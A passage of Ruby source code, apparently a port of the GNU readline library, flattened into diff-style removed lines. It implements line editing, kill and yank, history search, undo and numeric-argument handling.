rl_tty_unset_default_bindings(@vi_insertion_keymap) - else - rl_tty_unset_default_bindings(@_rl_keymap) - end - end - - save_tty_chars() - - rl_setstate(RL_STATE_TTYCSAVED) - if (@_rl_bind_stty_chars) - - # If editing in vi mode, make sure we set the bindings in the - # insertion keymap no matter what keymap we ended up in. - if (@rl_editing_mode == @vi_mode) - _rl_bind_tty_special_chars(@vi_insertion_keymap) - else - _rl_bind_tty_special_chars(@_rl_keymap) - end - end - - prepare_terminal_settings(meta_flag) - - if (@_rl_enable_keypad) - _rl_control_keypad(true) - end - @rl_outstream.flush - @terminal_prepped = true - rl_setstate(RL_STATE_TERMPREPPED) - - release_sigint() - end - - # Restore the terminal's normal settings and modes. - def rl_deprep_terminal() - return if ENV["TERM"].nil? - return if (!@terminal_prepped) - - # Try to keep this function from being interrupted. - block_sigint() - - if (@_rl_enable_keypad) - _rl_control_keypad(false) - end - - @rl_outstream.flush - - # restore terminal setting - `stty #{@otio}` - - @terminal_prepped = false - rl_unsetstate(RL_STATE_TERMPREPPED) - - release_sigint() - end - - # Set the mark at POSITION. - def _rl_set_mark_at_pos(position) - return -1 if (position > @rl_end) - @rl_mark = position - 0 - end - - # A bindable command to set the mark. - def rl_set_mark(count, key) - _rl_set_mark_at_pos(@rl_explicit_arg ? count : @rl_point) - end - - # Kill from here to the end of the line. If DIRECTION is negative, kill - # back to the line start instead. - def rl_kill_line (direction, ignore) - if (direction < 0) - return (rl_backward_kill_line(1, ignore)) - else - orig_point = @rl_point - rl_end_of_line(1, ignore) - if (orig_point != @rl_point) - rl_kill_text(orig_point, @rl_point) - end - @rl_point = orig_point - if (@rl_editing_mode == @emacs_mode) - @rl_mark = @rl_point - end - end - 0 - end - - # Kill backwards to the start of the line. If DIRECTION is negative, kill - # forwards to the line end instead. - def rl_backward_kill_line(direction, ignore) - if (direction < 0) - return (rl_kill_line(1, ignore)) - else - if (@rl_point==0) - rl_ding() - else - orig_point = @rl_point - rl_beg_of_line(1, ignore) - if (@rl_point != orig_point) - rl_kill_text(orig_point, @rl_point) - end - if (@rl_editing_mode == @emacs_mode) - @rl_mark = @rl_point - end - end - end - 0 - end - - # Kill the whole line, no matter where point is. - def rl_kill_full_line(count, ignore) - rl_begin_undo_group() - @rl_point = 0 - rl_kill_text(@rl_point, @rl_end) - @rl_mark = 0 - rl_end_undo_group() - 0 - end - - # Search backwards through the history looking for a string which is typed - # interactively. Start with the current line. - def rl_reverse_search_history(sign, key) - rl_search_history(-sign, key) - end - - # Search forwards through the history looking for a string which is typed - # interactively. Start with the current line. - def rl_forward_search_history(sign, key) - rl_search_history(sign, key) - end - - # Search through the history looking for an interactively typed string. - # This is analogous to i-search. We start the search in the current line. - # DIRECTION is which direction to search; >= 0 means forward, < 0 means - # backwards. - def rl_search_history(direction, invoking_key) - rl_setstate(RL_STATE_ISEARCH) - cxt = _rl_isearch_init(direction) - - rl_display_search(cxt.search_string, (cxt.sflags & SF_REVERSE)!=0, -1) - - # If we are using the callback interface, all we do is set up here and - # return. The key is that we leave RL_STATE_ISEARCH set. - if (rl_isstate(RL_STATE_CALLBACK)) - return (0) - end - - r = -1 - while(true) - c = _rl_search_getchar(cxt) - # We might want to handle EOF here (c == 0) - r = _rl_isearch_dispatch(cxt, cxt.lastc) - break if (r <= 0) - end - - # The searching is over. The user may have found the string that she - # was looking for, or else she may have exited a failing search. If - # LINE_INDEX is -1, then that shows that the string searched for was - # not found. We use this to determine where to place rl_point. - _rl_isearch_cleanup(cxt, r) - end - - def _rl_scxt_alloc(type, flags) - cxt = Struct.new(:type,:sflags,:search_string,:search_string_index,:search_string_size,:lines,:allocated_line, - :hlen,:hindex,:save_point,:save_mark,:save_line,:last_found_line,:prev_line_found,:save_undo_list,:history_pos, - :direction,:lastc,:sline,:sline_len,:sline_index,:search_terminators,:mb).new - - cxt.type = type - cxt.sflags = flags - - cxt.search_string = nil - cxt.search_string_size = cxt.search_string_index = 0 - - cxt.lines = nil - cxt.allocated_line = nil - cxt.hlen = cxt.hindex = 0 - - cxt.save_point = @rl_point - cxt.save_mark = @rl_mark - cxt.save_line = where_history() - cxt.last_found_line = cxt.save_line - cxt.prev_line_found = nil - - cxt.save_undo_list = nil - - cxt.history_pos = 0 - cxt.direction = 0 - - cxt.lastc = 0 - - cxt.sline = nil - cxt.sline_len = cxt.sline_index = 0 - - cxt.search_terminators = nil - - cxt - end - - def history_list() - @the_history - end - - def _rl_isearch_init(direction) - cxt = _rl_scxt_alloc(RL_SEARCH_ISEARCH, 0) - if (direction < 0) - cxt.sflags |= SF_REVERSE - end - - cxt.search_terminators = @_rl_isearch_terminators ? @_rl_isearch_terminators : - @default_isearch_terminators - - # Create an arrary of pointers to the lines that we want to search. - hlist = history_list() - rl_maybe_replace_line() - i = 0 - if (hlist) - i += 1 while(hlist[i]) - end - - # Allocate space for this many lines, +1 for the current input line, - # and remember those lines. - cxt.hlen = i - cxt.lines = [] - for i in 0 ... cxt.hlen - cxt.lines[i] = hlist[i].line - end - - if (@_rl_saved_line_for_history) - cxt.lines[i] = @_rl_saved_line_for_history.line.dup - else - # Keep track of this so we can free it. - cxt.allocated_line = @rl_line_buffer.dup - cxt.lines << cxt.allocated_line - end - - cxt.hlen+=1 - - # The line where we start the search. - cxt.history_pos = cxt.save_line - - rl_save_prompt() - - # Initialize search parameters. - cxt.search_string_size = 128 - cxt.search_string_index = 0 - cxt.search_string = "" - - # Normalize DIRECTION into 1 or -1. - cxt.direction = (direction >= 0) ? 1 : -1 - - cxt.sline = @rl_line_buffer - cxt.sline_len = cxt.sline.delete(0.chr).length - cxt.sline_index = @rl_point - - @_rl_iscxt = cxt # save globally - cxt - end - - def rl_save_prompt() - @saved_local_prompt = @local_prompt - @saved_local_prefix = @local_prompt_prefix - @saved_prefix_length = @prompt_prefix_length - @saved_local_length = @local_prompt_len - @saved_last_invisible = @prompt_last_invisible - @saved_visible_length = @prompt_visible_length - @saved_invis_chars_first_line = @prompt_invis_chars_first_line - @saved_physical_chars = @prompt_physical_chars - - @local_prompt = @local_prompt_prefix = nil - @local_prompt_len = 0 - @prompt_last_invisible = @prompt_visible_length = @prompt_prefix_length = 0 - @prompt_invis_chars_first_line = @prompt_physical_chars = 0 - end - - def rl_restore_prompt() - @local_prompt = nil - @local_prompt_prefix = nil - - @local_prompt = @saved_local_prompt - @local_prompt_prefix = @saved_local_prefix - @local_prompt_len = @saved_local_length - @prompt_prefix_length = @saved_prefix_length - @prompt_last_invisible = @saved_last_invisible - @prompt_visible_length = @saved_visible_length - @prompt_invis_chars_first_line = @saved_invis_chars_first_line - @prompt_physical_chars = @saved_physical_chars - - # can test saved_local_prompt to see if prompt info has been saved. - @saved_local_prompt = @saved_local_prefix = nil - @saved_local_length = 0 - @saved_last_invisible = @saved_visible_length = @saved_prefix_length = 0 - @saved_invis_chars_first_line = @saved_physical_chars = 0 - end - - def rl_message(msg_buf) - @rl_display_prompt = msg_buf - if @saved_local_prompt.nil? - rl_save_prompt() - @msg_saved_prompt = true - end - @local_prompt,@prompt_visible_length,@prompt_last_invisible,@prompt_invis_chars_first_line,@prompt_physical_chars = - expand_prompt(msg_buf) - @local_prompt_prefix = nil - @local_prompt_len = @local_prompt ? @local_prompt.length : 0 - send(@rl_redisplay_function) - 0 - end - - # Display the current state of the search in the echo-area. - # SEARCH_STRING contains the string that is being searched for, - # DIRECTION is zero for forward, or non-zero for reverse, - # WHERE is the history list number of the current line. If it is - # -1, then this line is the starting one. - def rl_display_search(search_string, reverse_p, where) - message = '(' - if (reverse_p) - message << "reverse-" - end - message << "i-search)`" - - if (search_string) - message << search_string - end - message << "': " - - rl_message(message) - message = nil - send(@rl_redisplay_function) - end - - # Transpose the characters at point. If point is at the end of the line, - # then transpose the characters before point. - def rl_transpose_chars(count, key) - return 0 if (count == 0) - - if (@rl_point==0 || @rl_end < 2) - rl_ding() - return -1 - end - - rl_begin_undo_group() - - if (@rl_point == @rl_end) - if !@rl_byte_oriented - @rl_point = _rl_find_prev_mbchar(@rl_line_buffer, @rl_point, MB_FIND_NONZERO) - else - @rl_point -= 1 - end - count = 1 - end - - prev_point = @rl_point - if !@rl_byte_oriented - @rl_point = _rl_find_prev_mbchar(@rl_line_buffer, @rl_point, MB_FIND_NONZERO) - else - @rl_point -= 1 - end - - char_length = prev_point - @rl_point - dummy = @rl_line_buffer[@rl_point,char_length] - - rl_delete_text(@rl_point, @rl_point + char_length) - - @rl_point += count - _rl_fix_point(0) - rl_insert_text(dummy) - rl_end_undo_group() - dummy = nil - 0 - end - - # Here is C-u doing what Unix does. You don't *have* to use these - # key-bindings. We have a choice of killing the entire line, or - # killing from where we are to the start of the line. We choose the - # latter, because if you are a Unix weenie, then you haven't backspaced - # into the line at all, and if you aren't, then you know what you are - # doing. - def rl_unix_line_discard(count, key) - if (@rl_point == 0) - rl_ding() - else - rl_kill_text(@rl_point, 0) - @rl_point = 0 - if (@rl_editing_mode == @emacs_mode) - @rl_mark = @rl_point - end - end - 0 - end - - # Yank back the last killed text. This ignores arguments. - def rl_yank(count, ignore) - if @rl_kill_ring.nil? - _rl_abort_internal() - return -1 - end - _rl_set_mark_at_pos(@rl_point) - rl_insert_text(@rl_kill_ring[@rl_kill_index]) - 0 - end - - # If the last command was yank, or yank_pop, and the text just - # before point is identical to the current kill item, then - # delete that text from the line, rotate the index down, and - # yank back some other text. - def rl_yank_pop(count, key) - if (((@rl_last_func != :rl_yank_pop) && (@rl_last_func != :rl_yank)) || - @rl_kill_ring.nil?) - _rl_abort_internal() - return -1 - end - - l = @rl_kill_ring[@rl_kill_index].length - n = @rl_point - l - if (n >= 0 && @rl_line_buffer[n,l] == @rl_kill_ring[@rl_kill_index][0,l]) - rl_delete_text(n, @rl_point) - @rl_point = n - @rl_kill_index-=1 - if (@rl_kill_index < 0) - @rl_kill_index = @rl_kill_ring_length - 1 - end - rl_yank(1, 0) - return 0 - else - _rl_abort_internal() - return -1 - end - end - - # Yank the COUNTh argument from the previous history line, skipping - # HISTORY_SKIP lines before looking for the `previous line'. - def rl_yank_nth_arg_internal(count, ignore, history_skip) - pos = where_history() - if (history_skip>0) - history_skip.times { entry = previous_history() } - end - entry = previous_history() - history_set_pos(pos) - if entry.nil? - rl_ding() - return -1 - end - - arg = history_arg_extract(count, count, entry.line) - if (arg.nil? || arg=='') - rl_ding() - arg = nil - return -1 - end - - rl_begin_undo_group() - - _rl_set_mark_at_pos(@rl_point) - - # Vi mode always inserts a space before yanking the argument, and it - # inserts it right *after* rl_point. - if (@rl_editing_mode == @vi_mode) - rl_vi_append_mode(1, ignore) - rl_insert_text(" ") - end - - rl_insert_text(arg) - arg = nil - rl_end_undo_group() - return 0 - end - - # Yank the COUNTth argument from the previous history line. - def rl_yank_nth_arg(count, ignore) - rl_yank_nth_arg_internal(count, ignore, 0) - end - - # Yank the last argument from the previous history line. This `knows' - # how rl_yank_nth_arg treats a count of `$'. With an argument, this - # behaves the same as rl_yank_nth_arg. - @history_skip = 0 - @explicit_arg_p = false - @count_passed = 1 - @direction = 1 - @undo_needed = false - - def rl_yank_last_arg(count, key) - if (@rl_last_func != :rl_yank_last_arg) - @history_skip = 0 - @explicit_arg_p = @rl_explicit_arg - @count_passed = count - @direction = 1 - else - if (@undo_needed) - rl_do_undo() - end - if (count < 1) - @direction = -@direction - end - @history_skip += @direction - if (@history_skip < 0) - @history_skip = 0 - end - end - - if (@explicit_arg_p) - retval = rl_yank_nth_arg_internal(@count_passed, key, @history_skip) - else - retval = rl_yank_nth_arg_internal('$', key, @history_skip) - end - @undo_needed = retval == 0 - retval - end - - def _rl_char_search_internal(count, dir, smbchar, len) - pos = @rl_point - inc = (dir < 0) ? -1 : 1 - while (count!=0) - if ((dir < 0 && pos <= 0) || (dir > 0 && pos >= @rl_end)) - rl_ding() - return -1 - end - pos = (inc > 0) ? _rl_find_next_mbchar(@rl_line_buffer, pos, 1, MB_FIND_ANY) : - _rl_find_prev_mbchar(@rl_line_buffer, pos, MB_FIND_ANY) - begin - if (_rl_is_mbchar_matched(@rl_line_buffer, pos, @rl_end, smbchar, len)!=0) - count-=1 - if (dir < 0) - @rl_point = (dir == BTO) ? pos+1 : pos - else - @rl_point = (dir == FTO) ? pos-1 : pos - end - break - end - prepos = pos - end while ((dir < 0) ? (pos = _rl_find_prev_mbchar(@rl_line_buffer, pos, MB_FIND_ANY)) != prepos : - (pos = _rl_find_next_mbchar(@rl_line_buffer, pos, 1, MB_FIND_ANY)) != prepos) - end - 0 - end - - def _rl_char_search(count, fdir, bdir) - mbchar = '' - mb_len = _rl_read_mbchar(mbchar, MB_LEN_MAX) - - if (count < 0) - return (_rl_char_search_internal(-count, bdir, mbchar, mb_len)) - else - return (_rl_char_search_internal(count, fdir, mbchar, mb_len)) - end - end - - def rl_char_search(count, key) - _rl_char_search(count, FFIND, BFIND) - end - - # Undo the next thing in the list. Return 0 if there - # is nothing to undo, or non-zero if there was. - def trans(i) - ((i) == -1 ? @rl_point : ((i) == -2 ? @rl_end : (i))) - end - - def rl_do_undo() - start = _end = waiting_for_begin = 0 - begin - return 0 if @rl_undo_list.nil? - - @_rl_doing_an_undo = true - rl_setstate(RL_STATE_UNDOING) - - # To better support vi-mode, a start or end value of -1 means - # rl_point, and a value of -2 means rl_end. - if (@rl_undo_list.what == UNDO_DELETE || @rl_undo_list.what == UNDO_INSERT) - start = trans(@rl_undo_list.start) - _end = trans(@rl_undo_list.end) - end - - case (@rl_undo_list.what) - # Undoing deletes means inserting some text. - when UNDO_DELETE - @rl_point = start - rl_insert_text(@rl_undo_list.text) - @rl_undo_list.text = nil - - # Undoing inserts means deleting some text. - when UNDO_INSERT - rl_delete_text(start, _end) - @rl_point = start - # Undoing an END means undoing everything 'til we get to a BEGIN. - when UNDO_END - waiting_for_begin+=1 - # Undoing a BEGIN means that we are done with this group. - when UNDO_BEGIN - if (waiting_for_begin!=0) - waiting_for_begin-=1 - else - rl_ding() - end - end - - @_rl_doing_an_undo = false - rl_unsetstate(RL_STATE_UNDOING) - - release = @rl_undo_list - @rl_undo_list = @rl_undo_list.next - replace_history_data(-1, release, @rl_undo_list) - release = nil - end while (waiting_for_begin!=0) - - 1 - end - - - - # Do some undoing of things that were done. - def rl_undo_command(count, key) - if (count < 0) - return 0 # Nothing to do. - end - while (count>0) - if (rl_do_undo()) - count-=1 - else - rl_ding() - break - end - end - 0 - end - - # Delete the word at point, saving the text in the kill ring. - def rl_kill_word(count, key) - if (count < 0) - return (rl_backward_kill_word(-count, key)) - else - orig_point = @rl_point - rl_forward_word(count, key) - - if (@rl_point != orig_point) - rl_kill_text(orig_point, @rl_point) - end - - @rl_point = orig_point - if (@rl_editing_mode == @emacs_mode) - rl_mark = @rl_point - end - end - 0 - end - - # Rubout the word before point, placing it on the kill ring. - def rl_backward_kill_word(count, ignore) - if (count < 0) - return (rl_kill_word(-count, ignore)) - else - orig_point = @rl_point - rl_backward_word(count, ignore) - if (@rl_point != orig_point) - rl_kill_text(orig_point, @rl_point) - end - if (@rl_editing_mode == @emacs_mode) - @rl_mark = @rl_point - end - end - 0 - end - - # Revert the current line to its previous state. - def rl_revert_line(count, key) - if @rl_undo_list.nil? - rl_ding() - else - while (@rl_undo_list) - rl_do_undo() - end - if (@rl_editing_mode == @vi_mode) - @rl_point = @rl_mark = 0 # rl_end should be set correctly - end - end - 0 - end - - def rl_backward_char_search (count, key) - _rl_char_search(count, BFIND, FFIND) - end - - def rl_insert_completions(ignore, invoking_key) - rl_complete_internal('*') - end - - def _rl_arg_init() - rl_save_prompt() - @_rl_argcxt = 0 - rl_setstate(RL_STATE_NUMERICARG) - end - - def _rl_arg_getchar() - rl_message("(arg: #{@rl_arg_sign * @rl_numeric_arg}) ") - rl_setstate(RL_STATE_MOREINPUT) - c = rl_read_key() - rl_unsetstate(RL_STATE_MOREINPUT) - c - end - - # Process C as part of the current numeric argument. Return -1 if the - # argument should be aborted, 0 if we should not read any more chars, and - # 1 if we should continue to read chars. - def _rl_arg_dispatch(cxt, c) - key = c - - # If we see a key bound to `universal-argument' after seeing digits, - # it ends the argument but is otherwise ignored. - if (@_rl_keymap[c] == :rl_universal_argument) - if ((cxt & NUM_SAWDIGITS) == 0) - @rl_numeric_arg *= 4 - return 1 - elsif (rl_isstate(RL_STATE_CALLBACK)) - @_rl_argcxt |= NUM_READONE - return 0 # XXX - else - rl_setstate(RL_STATE_MOREINPUT) - key = rl_read_key() - rl_unsetstate(RL_STATE_MOREINPUT) - rl_restore_prompt() - rl_clear_message() - rl_unsetstate(RL_STATE_NUMERICARG) - return (_rl_dispatch(key, @_rl_keymap)) - end - end - - #c = (c[0].ord & ~0x80).chr - r = c[1,1] - if (r>='0' && r<='9') - r = r.to_i - @rl_numeric_arg = @rl_explicit_arg ? (@rl_numeric_arg * 10) + r : r - @rl_explicit_arg = 1 - @_rl_argcxt |= NUM_SAWDIGITS - elsif (c == '-' && !@rl_explicit_arg) - @rl_numeric_arg = 1 - @_rl_argcxt |= NUM_SAWMINUS - @rl_arg_sign = -1 - else - # Make M-- command equivalent to M--1 command. - if ((@_rl_argcxt & NUM_SAWMINUS)!=0 && @rl_numeric_arg == 1 && !@rl_explicit_arg) - @rl_explicit_arg = 1 - end - rl_restore_prompt() - rl_clear_message() - rl_unsetstate(RL_STATE_NUMERICARG) - - r = _rl_dispatch(key, @_rl_keymap) - if (rl_isstate(RL_STATE_CALLBACK)) - # At worst, this will cause an extra redisplay. Otherwise, - # we have to wait until the next character comes in. - if (!@rl_done) - send(@rl_redisplay_function) - end - r = 0 - end - return r - end - 1 - end - - def _rl_arg_overflow() - if (@rl_numeric_arg > 1000000) - @_rl_argcxt = 0 - @rl_explicit_arg = @rl_numeric_arg = 0 - rl_ding() - rl_restore_prompt() - rl_clear_message() - rl_unsetstate(RL_STATE_NUMERICARG) - return 1 - end - 0 - end - - # Handle C-u style numeric args, as well as M--, and M-digits. - def rl_digit_loop() - while (true) - return 1 if _rl_arg_overflow()!=0 - c = _rl_arg_getchar() - if (c >= "\xFE") - _rl_abort_internal() - return -1 - end - r = _rl_arg_dispatch(@_rl_argcxt, c) - break if (r <= 0 || !rl_isstate(RL_STATE_NUMERICARG)) - end - - return r - end - - # Start a numeric argument with initial value KEY - def rl_digit_argument(ignore, key) - _rl_arg_init() - if (rl_isstate(RL_STATE_CALLBACK)) - _rl_arg_dispatch(@_rl_argcxt, key) - rl_message("(arg: #{@rl_arg_sign * @rl_numeric_arg}) ") - return 0 - else - rl_execute_next(key) - return (rl_digit_loop()) - end - end - - # Make C be the next command to be executed. - def rl_execute_next(c) - @rl_pending_input = c - rl_setstate(RL_STATE_INPUTPENDING) - 0 - end - - # Meta-< goes to the start of the history. - def rl_beginning_of_history(count, key) - rl_get_previous_history(1 + where_history(), key) - end - - # Meta-> goes to the end of the history. (The current line). - def rl_end_of_history(count, key) - rl_maybe_replace_line() - using_history() - rl_maybe_unsave_line() - 0 - end - - # Uppercase the word at point. - def rl_upcase_word(count, key) - rl_change_case(count, UpCase) - end - - # Lowercase the word at point. - def rl_downcase_word(count, key) - rl_change_case(count, DownCase) - end - - # Upcase the first letter, downcase the rest. - def rl_capitalize_word(count, key) - rl_change_case(count, CapCase) - end - - # Save an undo entry for the text from START to END. - def rl_modifying(start, _end) - if (start > _end) - start,_end = _end,start - end - - if (start != _end) - temp = rl_copy_text(start, _end) - rl_begin_undo_group() - rl_add_undo(UNDO_DELETE, start, _end, temp) - rl_add_undo(UNDO_INSERT, start, _end, nil) - rl_end_undo_group() - end - 0 - end - - # The meaty function. - # Change the case of COUNT words, performing OP on them. - # OP is one of UpCase, DownCase, or CapCase. - # If a negative argument is given, leave point where it started, - # otherwise, leave it where it moves to. - def rl_change_case(count, op) - start = @rl_point - rl_forward_word(count, 0) - _end = @rl_point - - if (op != UpCase && op != DownCase && op != CapCase) - rl_ding() - return -1 - end - - if (count < 0) - start,_end = _end,start - end - - # We are going to modify some text, so let's prepare to undo it. - rl_modifying(start, _end) - - inword = false - while (start < _end) - c = _rl_char_value(@rl_line_buffer, start) - # This assumes that the upper and lower case versions are the same width. - if !@rl_byte_oriented - _next = _rl_find_next_mbchar(@rl_line_buffer, start, 1, MB_FIND_NONZERO) - else - _next = start + 1 - end - - if (!_rl_walphabetic(c)) - inword = false - start = _next - next - end - - if (op == CapCase) - nop = inword ? DownCase : UpCase - inword = true - else - nop = op - end - if (isascii(c)) - nc = (nop == UpCase) ? c.upcase : c.downcase - @rl_line_buffer[start] = nc - end - - start = _next - end - - @rl_point = _end - 0 - end - - def isascii(c) - int_val = c[0].to_i # 1.8 + 1.9 compat. - return (int_val < 128 && int_val > 0) - end - - # Search non-interactively through the history list. DIR < 0 means to - # search backwards through the history of previous commands; otherwise - # the search is for commands subsequent to the current position in the - # history list. PCHAR is the character to use for prompting when reading - # the search string; if not specified (0), it defaults to `:'. - def noninc_search(dir, pchar) - cxt = _rl_nsearch_init(dir, pchar) - if (rl_isstate(RL_STATE_CALLBACK)) - return (0) - end - # Read the search string. - r = 0 - while (true) - c = _rl_search_getchar(cxt) - if (c == 0.chr) - break - end - r = _rl_nsearch_dispatch(cxt, c) - if (r < 0) - return 1 - elsif (r == 0) - break - end - end - - r = _rl_nsearch_dosearch(cxt) - (r >= 0) ? _rl_nsearch_cleanup(cxt, r) : (r != 1) - end - - # Search forward through the history list for a string. If the vi-mode - # code calls this, KEY will be `?'. - def rl_noninc_forward_search(count, key) - noninc_search(1, (key == '?') ? '?' : nil) - end - - # Reverse search the history list for a string. If the vi-mode code - # calls this, KEY will be `/'. - def rl_noninc_reverse_search(count, key) - noninc_search(-1, (key == '/') ? '/' : nil) - end - - # Make the data from the history entry ENTRY be the contents of the - # current line. This doesn't do anything with rl_point; the caller - # must set it. - def make_history_line_current(entry) - _rl_replace_text(entry.line, 0, @rl_end) - _rl_fix_point(1) - if (@rl_editing_mode == @vi_mode) - # POSIX.2 says that the `U' command doesn't affect the copy of any - # command lines to the edit line. We're going to implement that by - # making the undo list start after the matching line is copied to the - # current editing buffer. - rl_free_undo_list() - end - if (@_rl_saved_line_for_history) - @_rl_saved_line_for_history = nil - end - end - - # Make the current history item be the one at POS, an absolute index. - # Returns zero if POS is out of range, else non-zero. - def history_set_pos(pos) - if (pos > @history_length || pos < 0 || @the_history.nil?) - return (0) - end - @history_offset = pos - 1 - end - - # Do an anchored search for string through the history in DIRECTION. - def history_search_prefix (string, direction) - history_search_internal(string, direction, ANCHORED_SEARCH) - end - - # Search for STRING in the history list. DIR is < 0 for searching - # backwards. POS is an absolute index into the history list at - # which point to begin searching. - def history_search_pos(string, dir, pos) - old = where_history() - history_set_pos(pos) - if (history_search(string, dir) == -1) - history_set_pos(old) - return (-1) - end - ret = where_history() - history_set_pos(old) - ret - end - - # Search the history list for STRING starting at absolute history position - # POS. If STRING begins with `^', the search must match STRING at the - # beginning of a history line, otherwise a full substring match is performed - # for STRING. DIR < 0 means to search backwards through the history list, - # DIR >= 0 means to search forward. - def noninc_search_from_pos(string, pos, dir) - return 1 if (pos < 0) - - old = where_history() - return -1 if (history_set_pos(pos) == 0) - - rl_setstate(RL_STATE_SEARCH) - if (string[0,1] == '^') - ret = history_search_prefix(string + 1, dir) - else - ret = history_search(string, dir) - end - rl_unsetstate(RL_STATE_SEARCH) - - if (ret != -1) - ret = where_history() - end - history_set_pos(old) - ret - end - - # Search for a line in the history containing STRING. If DIR is < 0, the - # search is backwards through previous entries, else through subsequent - # entries. Returns 1 if the search was successful, 0 otherwise. - def noninc_dosearch(string, dir) - if (string.nil? || string == '' || @noninc_history_pos < 0) - rl_ding() - return 0 - end - - pos = noninc_search_from_pos(string, @noninc_history_pos + dir, dir) - if (pos == -1) - # Search failed, current history position unchanged. - rl_maybe_unsave_line() - rl_clear_message() - @rl_point = 0 - rl_ding() - return 0 - end - - @noninc_history_pos = pos - - oldpos = where_history() - history_set_pos(@noninc_history_pos) - entry = current_history() - if (@rl_editing_mode != @vi_mode) - history_set_pos(oldpos) - end - make_history_line_current(entry) - @rl_point = 0 - @rl_mark = @rl_end - rl_clear_message() - 1 - end - - def _rl_make_prompt_for_search(pchar) - rl_save_prompt() - - # We've saved the prompt, and can do anything with the various prompt - # strings we need before they're restored. We want the unexpanded - # portion of the prompt string after any final newline. - _p = @rl_prompt ? @rl_prompt.rindex("\n") : nil - if _p.nil? - len = (@rl_prompt && @rl_prompt.length>0 ) ? @rl_prompt.length : 0 - if (len>0) - pmt = @rl_prompt.dup - else - pmt = '' - end - pmt << pchar - else - _p+=1 - pmt = @rl_prompt[_p..-1] - pmt << pchar - end - - # will be overwritten by expand_prompt, called from rl_message - @prompt_physical_chars = @saved_physical_chars + 1 - pmt - end - - def _rl_nsearch_init(dir, pchar) - cxt = _rl_scxt_alloc(RL_SEARCH_NSEARCH, 0) - if (dir < 0) - cxt.sflags |= SF_REVERSE # not strictly needed - end - cxt.direction = dir - cxt.history_pos = cxt.save_line - rl_maybe_save_line() - # Clear the undo list, since reading the search string should create its - # own undo list, and the whole list will end up being freed when we - # finish reading the search string. - @rl_undo_list = nil - - # Use the line buffer to read the search string. - @rl_line_buffer[0,1] = 0.chr - @rl_end = @rl_point = 0 - - _p = _rl_make_prompt_for_search(pchar ? pchar : ':') - rl_message(_p) - _p = nil - - rl_setstate(RL_STATE_NSEARCH) - @_rl_nscxt = cxt - cxt - end - - def _rl_nsearch_cleanup(cxt, r) - cxt = nil - @_rl_nscxt = nil - rl_unsetstate(RL_STATE_NSEARCH) - r != 1 - end - - def _rl_nsearch_abort(cxt) - rl_maybe_unsave_line() - rl_clear_message() - @rl_point = cxt.save_point - @rl_mark = cxt.save_mark - rl_restore_prompt() - rl_unsetstate(RL_STATE_NSEARCH) - end - - # Process just-read character C according to search context CXT. Return -1 - # if the caller should abort the search, 0 if we should break out of the - # loop, and 1 if we should continue to read characters. - def _rl_nsearch_dispatch(cxt, c) - case (c) - when "\C-W" - rl_unix_word_rubout(1, c) - when "\C-W" - rl_unix_line_discard(1, c) - when RETURN,NEWLINE - return 0 - when "\C-H",RUBOUT - if (@rl_point == 0) - _rl_nsearch_abort(cxt) - return -1 - end - _rl_rubout_char(1, c) - when "\C-C","\C-G" - rl_ding() - _rl_nsearch_abort(cxt) - return -1 - else - if !@rl_byte_oriented - rl_insert_text(cxt.mb) - else - _rl_insert_char(1, c) - end - end - - send(@rl_redisplay_function) - 1 - end - - # Perform one search according to CXT, using NONINC_SEARCH_STRING. Return - # -1 if the search should be aborted, any other value means to clean up - # using _rl_nsearch_cleanup (). Returns 1 if the search was successful, - # 0 otherwise. - def _rl_nsearch_dosearch(cxt) - @rl_mark = cxt.save_mark - - # If rl_point == 0, we want to re-use the previous search string and - # start from the saved history position. If there's no previous search - # string, punt. - if (@rl_point == 0) - if @noninc_search_string.nil? - rl_ding() - rl_restore_prompt() - rl_unsetstate(RL_STATE_NSEARCH) - return -1 - end - else - # We want to start the search from the current history position. - @noninc_history_pos = cxt.save_line - @noninc_search_string = @rl_line_buffer.dup - - # If we don't want the subsequent undo list generated by the search - #matching a history line to include the contents of the search string, - #we need to clear rl_line_buffer here. For now, we just clear the - #undo list generated by reading the search string. (If the search - #fails, the old undo list will be restored by rl_maybe_unsave_line.) - rl_free_undo_list() - end - - rl_restore_prompt() - noninc_dosearch(@noninc_search_string, cxt.direction) - end - - # Transpose the words at point. If point is at the end of the line, - # transpose the two words before point. - def rl_transpose_words(count, key) - orig_point = @rl_point - - return if (count==0) - - # Find the two words. - rl_forward_word(count, key) - w2_end = @rl_point - rl_backward_word(1, key) - w2_beg = @rl_point - rl_backward_word(count, key) - w1_beg = @rl_point - rl_forward_word(1, key) - w1_end = @rl_point - - # Do some check to make sure that there really are two words. - if ((w1_beg == w2_beg) || (w2_beg < w1_end)) - rl_ding() - @rl_point = orig_point - return -1 - end - - # Get the text of the words. - word1 = rl_copy_text(w1_beg, w1_end) - word2 = rl_copy_text(w2_beg, w2_end) - - # We are about to do many insertions and deletions. Remember them - # as one operation. - rl_begin_undo_group() - - # Do the stuff at word2 first, so that we don't have to worry - # about word1 moving. - @rl_point = w2_beg - rl_delete_text(w2_beg, w2_end) - rl_insert_text(word1) - - @rl_point = w1_beg - rl_delete_text(w1_beg, w1_end) - rl_insert_text(word2) - - # This is exactly correct since the text before this point has not - # changed in length. - @rl_point = w2_end - - # I think that does it. - rl_end_undo_group() - word1 = nil - word2 = nil - - 0 - end - - # Re-read the current keybindings file. - def rl_re_read_init_file(count, ignore) - r = rl_read_init_file(nil) - rl_set_keymap_from_edit_mode() - r - end - - # Exchange the position of mark and point. - def rl_exchange_point_and_mark(count, key) - if (@rl_mark > @rl_end) - @rl_mark = -1 - end - if (@rl_mark == -1) - rl_ding() - return -1 - else - @rl_point, @rl_mark = @rl_mark, @rl_point - end - 0 - end - - # A convenience function for displaying a list of strings in - # columnar format on readline's output stream. MATCHES is the list - # of strings, in argv format, LEN is the number of strings in MATCHES, - # and MAX is the length of the longest string in MATCHES. - def rl_display_match_list(matches, len, max) - # How many items of MAX length can we fit in the screen window? - max += 2 - limit = @_rl_screenwidth / max - if (limit != 1 && (limit * max == @_rl_screenwidth)) - limit-=1 - end - # Avoid a possible floating exception. If max > _rl_screenwidth, - # limit will be 0 and a divide-by-zero fault will result. - if (limit == 0) - limit = 1 - end - # How many iterations of the printing loop? - count = (len + (limit - 1)) / limit - - # Watch out for special case. If LEN is less than LIMIT, then - # just do the inner printing loop. - # 0 < len <= limit implies count = 1. - - # Sort the items if they are not already sorted. - if (!@rl_ignore_completion_duplicates) - matches[1,len] = matches[1,len].sort - end - rl_crlf() - - lines = 0 - if (!@_rl_print_completions_horizontally) - # Print the sorted items, up-and-down alphabetically, like ls. - for i in 1 .. count - l = i - 